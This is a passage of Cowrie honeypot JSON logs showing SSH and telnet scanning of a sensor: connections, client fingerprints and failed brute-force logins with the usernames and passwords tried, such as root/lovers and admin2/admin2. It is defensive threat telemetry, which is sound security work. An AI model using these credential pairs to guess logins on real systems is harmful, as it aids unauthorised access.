{"eventid":"cowrie.session.closed","duration":29.93729019165039,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:04:59.819729Z","src_ip":"152.42.224.71","session":"7de1f75c4f15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.697644472122192,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:05:02.501527Z","src_ip":"152.42.224.71","session":"3a7d547125f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":39440,"dst_ip":"10.17.0.5","dst_port":22,"session":"1078fd4f39b0","protocol":"ssh","message":"New connection: 37.233.85.71:39440 (10.17.0.5:22) [session: 1078fd4f39b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:05:11.646167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:05:11.651567Z","src_ip":"37.233.85.71","session":"1078fd4f39b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:05:11.756907Z","src_ip":"37.233.85.71","session":"1078fd4f39b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:05:12.072030Z","src_ip":"37.233.85.71","session":"1078fd4f39b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:05:13.180846Z","src_ip":"37.233.85.71","session":"1078fd4f39b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.9096360206604,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:05:21.031411Z","src_ip":"152.42.224.71","session":"101657a7c7b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37110,"dst_ip":"10.17.0.5","dst_port":23,"session":"7003147d8247","protocol":"telnet","message":"New connection: 152.42.224.71:37110 (10.17.0.5:23) [session: 7003147d8247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:05:26.619134Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37112,"dst_ip":"10.17.0.5","dst_port":23,"session":"0eef9c5f1eb8","protocol":"telnet","message":"New connection: 152.42.224.71:37112 (10.17.0.5:23) [session: 0eef9c5f1eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:05:33.590120Z"}
{"eventid":"cowrie.session.closed","duration":56.796488761901855,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:05:51.398778Z","src_ip":"152.42.224.71","session":"333ef03af12f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59882,"dst_ip":"10.17.0.5","dst_port":22,"session":"4eab289cdbc8","protocol":"ssh","message":"New connection: 83.168.110.85:59882 (10.17.0.5:22) [session: 4eab289cdbc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:05:59.896645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:05:59.901402Z","src_ip":"83.168.110.85","session":"4eab289cdbc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:00.025488Z","src_ip":"83.168.110.85","session":"4eab289cdbc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:00.389940Z","src_ip":"83.168.110.85","session":"4eab289cdbc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":38922,"dst_ip":"159.203.135.109","dst_port":23,"session":"bab4c11a3daf","protocol":"telnet","message":"New connection: 213.108.3.46:38922 (159.203.135.109:23) [session: bab4c11a3daf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:02.173051Z"}
{"eventid":"cowrie.session.closed","duration":0.017488479614257812,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:02.190416Z","src_ip":"213.108.3.46","session":"bab4c11a3daf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.83806347846985,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:17.428082Z","src_ip":"152.42.224.71","session":"0eef9c5f1eb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.069085121154785,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:17.688089Z","src_ip":"152.42.224.71","session":"7003147d8247","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34228,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b65979e29ca","protocol":"telnet","message":"New connection: 152.42.224.71:34228 (10.17.0.5:23) [session: 2b65979e29ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:30.409609Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":44528,"dst_ip":"10.17.0.5","dst_port":22,"session":"99d2d6c4296c","protocol":"ssh","message":"New connection: 83.168.110.85:44528 (10.17.0.5:22) [session: 99d2d6c4296c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:35.183491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:35.189311Z","src_ip":"83.168.110.85","session":"99d2d6c4296c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:35.310768Z","src_ip":"83.168.110.85","session":"99d2d6c4296c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:35.685797Z","src_ip":"83.168.110.85","session":"99d2d6c4296c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":49306,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca9af72cf98f","protocol":"ssh","message":"New connection: 103.27.238.120:49306 (10.17.0.5:22) [session: ca9af72cf98f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:36.483202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:36.487851Z","src_ip":"103.27.238.120","session":"ca9af72cf98f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:36.750428Z","src_ip":"103.27.238.120","session":"ca9af72cf98f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:36.830027Z","src_ip":"83.168.110.85","session":"99d2d6c4296c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lovers","message":"login attempt [root/lovers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:37.539856Z","src_ip":"103.27.238.120","session":"ca9af72cf98f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.9.152","src_port":43700,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d6baf4b6ba0","protocol":"ssh","message":"New connection: 128.201.9.152:43700 (10.17.0.5:22) [session: 4d6baf4b6ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:38.778486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:38.783229Z","src_ip":"128.201.9.152","session":"4d6baf4b6ba0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:38.804976Z","src_ip":"103.27.238.120","session":"ca9af72cf98f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:38.908783Z","src_ip":"128.201.9.152","session":"4d6baf4b6ba0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shop1","message":"login attempt [root/shop1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:39.435847Z","src_ip":"128.201.9.152","session":"4d6baf4b6ba0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:40.563551Z","src_ip":"128.201.9.152","session":"4d6baf4b6ba0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":44534,"dst_ip":"10.17.0.5","dst_port":22,"session":"afece252b2de","protocol":"ssh","message":"New connection: 83.168.110.85:44534 (10.17.0.5:22) [session: afece252b2de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:42.136893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:42.141658Z","src_ip":"83.168.110.85","session":"afece252b2de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:42.262462Z","src_ip":"83.168.110.85","session":"afece252b2de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:43.101286Z","src_ip":"83.168.110.85","session":"afece252b2de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:44.228653Z","src_ip":"83.168.110.85","session":"afece252b2de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49318,"dst_ip":"10.17.0.5","dst_port":22,"session":"7309a33032e3","protocol":"ssh","message":"New connection: 83.168.110.85:49318 (10.17.0.5:22) [session: 7309a33032e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:49.026883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:49.030967Z","src_ip":"83.168.110.85","session":"7309a33032e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:49.159316Z","src_ip":"83.168.110.85","session":"7309a33032e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:49.753807Z","src_ip":"83.168.110.85","session":"7309a33032e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:50.878091Z","src_ip":"83.168.110.85","session":"7309a33032e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52774,"dst_ip":"10.17.0.5","dst_port":22,"session":"151278e3783e","protocol":"ssh","message":"New connection: 83.168.110.85:52774 (10.17.0.5:22) [session: 151278e3783e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:56.299494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:06:56.304369Z","src_ip":"83.168.110.85","session":"151278e3783e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-